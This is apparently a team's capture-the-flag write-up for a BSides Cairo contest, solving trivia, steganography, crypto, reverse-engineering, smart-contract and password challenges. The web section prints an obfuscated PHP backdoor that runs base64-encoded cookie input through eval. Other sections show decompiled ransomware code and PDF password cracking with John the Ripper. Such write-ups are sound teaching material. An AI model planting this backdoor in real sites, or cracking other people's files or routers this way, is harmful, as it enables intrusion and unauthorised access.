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We are Revers3c Team Got Secound Place

Challenge                           Category                    Point           Statue
Search with police              General Information              30             Solved
Vegetables                      General Information              30             Solved
Rocker                          General Information              20             Solved
WhoAmi                          General Information              50             Solved
d3c0d3 m3                          Web Security	          	 50             Solved
$cript kiddie                   Reverse Engineering              50             Solved
Abusing                           Cryptography                   50             Solved
My Router Password                    Misc                       50             Solved
Zoom Eye                          Steganography                  50             Solved
Open the safe                    Smart contract                  75             Solved
Old Style                       Reverse Engineering              150            Solved
Ransom where !                    Cryptography                   100            Solved
Please don't burn my money       Smart contract                  120              No

General Information : 130 Point in 4 Challenge

  • Rocker : 20 Point

I attack was published about me in Defcon Conference in 2011 I gain access to your phone during the charging process to execute attack you need a cable that supports power and data connection together The is Flag juice jacking

  • Search with police : 30 Point

I'm a new tool developed by a company who unlocked ios phone in a terrorist attack in San Bernardino, California. This tool developed to a physical analyzer for smartphones like android and ios The is Flag UFED

  • Vegetables : 30 Point

I'm an operating system based on Linux designed to encrypt your data using onion routing and works through USB only The is Flag Tails

  • WhoAmi : 50 Point

I'm Jack and I have a penetration testing process for Automated Teller Machine and I don't have any money to buy rubber ducky or any advanced kits. I've seen on the internet that I can do this tool with myself with some tools based on open-source hardware, I need something can simulate rubber ducky to inject code and enable PowerShell command or execute a command on Windows... What's the name of this piece amid the family names? The is Flag leonardo

Web Challenge : d3c0d3 m3 50 Point

  • The Challenge is a zip file Which Contain a php code
$gj = "bcoxacoxse64cox_coxdcoxecoxccoxode";
$iuq = "str_replace";
$gj = $iuq("cox", "", $gj);
eval($gj($iuq("ec", "", $kyo1.$kyo2.$kyo3.$kyo4)));
  • first the variable $iuq containe a php built in function which is used to replcae any this words ec in this variables $kyo1,$kyo2,$kyo3,$kyo4 with nothing then when excute the code the output will be
  • decode it with base64 then the output will be
$c='count';$a=$_COOKIE;if(reset($a)=='fl' && $c($a)>3){ini_set('error_log', '/dev/null');$k='ag{hidden_in_php}';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
  • you will see that variable $a is fl and variable $k is ag{hidden_in_php} so your flag is flag{hidden_in_php}

Steganography : Zoom Eye 50 Point

  • The Challenge is a zip file Which Contain a image They Give us The Password of zip file squnity
  • I'm Extract The zip file and found that the image is 13 Mbyte , So There a something hidden in the photo
  • I'm used steghide in linux steghide extract -sf rockme.jpg , you can install it apt install steghide
  • steghide requierd a password !!! , I see The Photo and zoom in When I found This Words With Grey Color :D Password
  • I try to set this words l3757ryh4rd3r as password and the reinvoke.txt file is output
  • The File Contain This Character and string
{@C6> xADF> :D D:>A=J 5F>>J E6IE @7 E96 AC:?E:?8 2?5 EJA6D6EE:?8 :?5FDECJ] {@C6> xADF> 92D 366? E96 :?5FDECJVD DE2?52C5 5F>>J E6IE 6G6C D:?46 E96 `d__D[ H96? 2? F?<?@H? AC:?E6C E@@< 2 82==6J @7 EJA6 2?5 D4C2>3=65 :E E@ >2<6 2 EJA6 DA64:>6? 3@@<] xE 92D DFCG:G65 ?@E @?=J 7:G6 46?EFC:6D[ 3FE 2=D@ E96 =62A :?E@ 6=64EC@?:4 EJA6D6EE:?8[ C6>2:?:?8 6DD6?E:2==J F?492?865] xE H2D A@AF=2C:D65 :? E96 `he_D H:E9 E96 C6=62D6 @7 {6EC2D6E D966ED 4@?E2:?:?8 {@C6> xADF> A2DD286D[ 2?5 >@C6 C646?E=J H:E9 56D<E@A AF3=:D9:?8 D@7EH2C6 =:<6 p=5FD !286|2<6C :?4=F5:?8 G6CD:@?D @7 {@C6> xADF>]
  • I Think and search in google When I found it's rot47
  • I go to and decode it , The Output is
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.
  • Then The Flag is flag{d3v3l0p3d_f0r_74l3n75}

Crypto Challenge : abusing 50 Point

  • The Challenge is a mp3 file Which This Sound Like Morse code
  • Go to this website then upload mp3 file and you get this result Morse code
  • We Play in This Words ETTE L A G I N M C O D E W E T R U S T To Get This Result FLAGINMCODEWETRUST Then We Submit and we get is wrong Then we add {}_ to words to be FLAG{IN_MCODE_TRUST} and Flag is Correct

Crypto Challenge : Ransom where ! 100 Point

  • The Challenge is a zip file which contain some file and a file called Ransomware.exe
  • When We use dnspy to decompile The File and The Result is Debugging
  • we have a two cs file cryptography.cs and Program.cs
  • The File cryptography.cs comtaine The Function That used in Encryption and The file Program.cs is a main File
  • in Program.cs we have this code
Random random = new Random();
int value = random.Next(10000000, 1211656790);
int value2 = random.Next(10000000, 1211656790);
int value3 = random.Next(10000000, 1211656790);
int value4 = random.Next(10000000, 1211656790);
int value5 = random.Next(10000000, 1211656790);
string str = ".tmp";
BigInteger left = BigInteger.Multiply(value, value2);
left += BigInteger.Multiply(value2, value3);
left += BigInteger.Multiply(value3, value4);
left += BigInteger.Multiply(value4, value5);
left += BigInteger.Multiply(value5, value);
BigInteger[] array = new BigInteger[]
string str2 = Program.RandomString(5);
  • Which we have 5 variable value,value2,value3,value4,value5 That take a random Number and str Which contain .tmp and variable left Which equal value*value2 + value2*value3 + value3*value4 + value4*value5 + value5*value and We have array BigInteger that containe Two Big integer Number and a string variable str2 that have a five random string
  • and in Program.cs We have this code
File.WriteAllText(Path.GetTempPath() + str2 + str, Convert.ToString(cryptography.RSA_m_n_e(left.ToString(), array[1], array[0])));
  • We have a file that saved in our path which his name is the 5 random string with .tmp extension
  • This File contain The result of function cryptography.RSA_m_n_e(left.ToString(), array[1], array[0]))
  • When I See this Function in cryptography.cs I Found That take 3 Parameter Which The First is string Which is Coming from The result of left and The Secound Parameter Take The second BigInteger in array and the Third take the First BigInteger in array
  • This RSA Function is Wiener Attack Becouse e is Very BigInteger
  • Let's see The tmp file That Saved in our path
  • We have 4 file which have 5 string and this extension is .tmp and all of them contain a BigInteger
  • The RSA Function encode the Plaintext and saved the Cipher in a one file from our 4 file , So I decode all cipher in 4 files and get this Number
  • You Can use My RSA Tool That I publish it in github To decode This RSA Attack and decode other Attacks
  • Now This Numbers contain a right random number
  • We have This code in Program.cs
string s = File.ReadAllText(".\\sdagfsad.txt");
byte[] bytes = Encoding.UTF8.GetBytes(s);
string contents = cryptography.Aes(bytes, left.ToString(), "ABCDEFGHIJ12", true, false);
File.WriteAllText(".\\dsafgasf.txt", contents);
  • in The Third Linr of This Code , We have a AES Encryption Function When We go to cryptography.cs We see that in this Code
public static string Aes(byte[] input, string key, string iv, bool Enc, bool Dec)
  new UTF8Encoding();
  AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
  aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
  aesCryptoServiceProvider.KeySize = 256;
  aesCryptoServiceProvider.Key = Convert.FromBase64String(cryptography.sha2(key));
  aesCryptoServiceProvider.BlockSize = 128;
  aesCryptoServiceProvider.IV = Convert.FromBase64String(cryptography.md5(iv));
  aesCryptoServiceProvider.Mode = CipherMode.CBC;
  if (Enc && !Dec)
    ICryptoTransform cryptoTransform = aesCryptoServiceProvider.CreateEncryptor();
    byte[] array = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
    return Convert.ToBase64String(array);
  if (!Enc && Dec)
    ICryptoTransform cryptoTransform2 = aesCryptoServiceProvider.CreateDecryptor();
    byte[] array = cryptoTransform2.TransformFinalBlock(input, 0, input.Length);
    return Encoding.ASCII.GetString(array);
  return null;
  • He use a CBC_MODE and The Keysize is 256 bits and BlockSize is 128 bit
  • He Give Me iv and i have 4 random number on of them is a right number so I Try all Number With His Function and The Cipher is saved in dsafgasf.txt and iv is ABCDEFGHIJ12
  • So I call AES Function in this figure cryptography.Aes(bytes, MyRandomKey, "ABCDEFGHIJ12", false, true) in 4 Random number and The Right Number is 2281123928613928259 untitled
  • Then The Flag is Bsides{IT's_Trivial_Ransomware}

Reverse Engneering | $cript kiddie 50 Point

  • We Have a zip file
  • Running the binary will give us this a messagebox showing hex encoded value


  • using PEstudio you can find that the binary was packeds using UPX


  • Disable ASLR & Unpack it


  • using x64dbg you can find that it uses IsDebuggerPresent function to dentermine whenever there is a debugger or not and if there is a debugger a messagebox saying 'This is a third-party compiled AutoIt script.' will show instead.



  • Here, near the buttom you can find this function
Func cmmkxdi()
	Global $povvyzid_qgidn_wyfvjlrasdasd = 202
	Local $texjyuus_kxmczmsui_waowsej = "0xAFAF301D3DF20EE93EB8B8A9842FB0781FEFAAB30F4628D4"
	Global $qw_vouefw_jxcp_ucasdasd = 46689
	Local $var_1044 = asdasfcyzncmmkxdiasd(False, $texjyuus_kxmczmsui_waowsej, "i4m_th3_fl@g")
	Global $aycqkqgdnvzzuelotalsibomsdsd = 116
	MsgBox($mb_systemmodal, "BSides Cairo", $texjyuus_kxmczmsui_waowsej)
  • so all we need here is to print var_1044 value instead of the hex encoded values in texjyuus_kxmczmsui_waowsej, Change the code to
Func cmmkxdi()
	Global $povvyzid_qgidn_wyfvjlrasdasd = 202
	Local $texjyuus_kxmczmsui_waowsej = "0xAFAF301D3DF20EE93EB8B8A9842FB0781FEFAAB30F4628D4"
	Global $qw_vouefw_jxcp_ucasdasd = 46689
	Local $var_1044 = asdasfcyzncmmkxdiasd(False, $texjyuus_kxmczmsui_waowsej, "i4m_th3_fl@g")
	Global $aycqkqgdnvzzuelotalsibomsdsd = 116
	MsgBox($mb_systemmodal, "BSides Cairo", $var_1044)
  • and run it using the AutoIT interpreter


Reverse Engneering | Old Style 150 Point

  • We Have a zip file

  • We were given two binaries with zero imports, a pretty common obfuscation technique used by real-life malwares ss

  • upload Mal_1.exe to

  • there are 4 Extraced files one of them named config.vbe which is a vbs compailed script


  • and the malware will delete itself at some point using powershell


  • now let's get the extracted files ourselves .. open up your win7 debugging vm and just use any file monitor tool i used Moo0, then run the binary.


  • locate and decode config.vbe using


  • the same vbs script can be found within hybrid-analysis report too.


  • The Flag is vb$_dr0pp3r5_4r3_c0mm0n

Smart Contract : Open the safe 75 Point

  • The Challenge Give Me Two Link Fisrt Link and Secound Link
  • When We Open First Link We Found That he give me Block Information not More
  • When We Open Secound Link We Found That he give me a Transaction Information and in it we Find Input Data
  • When We decode it to Ascii or utf-8 the Out Put Will be
`�`@R`@Qa��8��a���9���`@R` ���a&W`�ý[�����Qd����a>W`�ý[����P` ������aTW`�ý[�Q�`������d�����aqW`�ý[PP���PPP�`��Q�` ��a����a�V[PPa�;V[��T`��`���a����`����`R` ` �`��` ������`��a×W�Q`ÿ�������Ua��V[���`���U��a��W���[����a��W�Q�U�` ���`���aéV[[P�Pa����a��V[P�V[a�8��[����a�4W`�`�UP`��a��V[P�V[�V[a�M�a�J`9`óþ`�`@R`�6�aFW`5|����c��_à�aHW�cX�»V�asW[[4��aTW`�ý[Pa]a�;V[`@Q���R` ��PP`@Q����ó[4��a�W`�ý[Pa�9`��6�` ���a�W`�ý[�����5�` ��d����a³W`�ý[���` ����aÅW`�ý[�5�` ���`������d�����açW`�ý[����`��` ����` �`@Q���`@R�������R` ������7`���R`��`�����P����PPPPPPP�����PPPa�ZV[[`0sÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ�1�P�V[��Q�` � ��Q�` � ���a�vW`�ý[`0sÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ�1�P�3sÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ��²U�ª��Ñ6ªÂ�:Æ ÇY «¾÷Öf:�z�á�±7�Ã`@Q`@Q����£3sÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ�a�ü������`@Q``@Q�������ñ�PPPP���a��W=`�>=`ý[PPPVþ¡ebzzr0X ýaõùî�®�p-��( �Éc{~3Ï-?	ö���^�¡±) �flag{VitalikButerin}
  • The Flag in Last Line flag{VitalikButerin}

Misc : My Router Password 50 Point

  • He give Me a zip file When We Extract it We found a pdf file with password
  • We use Jhon The rapper tool or you can use this Script To Extract The hash of pdf
./ /home/x-vector/Downloads/squnity/paper/paper.pdf >/home/x-vector/Desktop/hash.txt
  • The hash.txt Contain This Out Put
  • We remove Every Thing befor : The The Out put Will be
john --wordlist /home/x-vector/Desktop/rockyou.txt /home/x-vector/Desktop/hash.txt
  • The Password is 24118904126814948
  • Now Open The PDF File We Will found image which require a password and he give me a username UPC3946855 router
  • I search in google and found That UPC is router which can accept some password and found this Website Which Compute The Password of router
  • I take The First Password and Submit it and it's The Flag APEJFUWD
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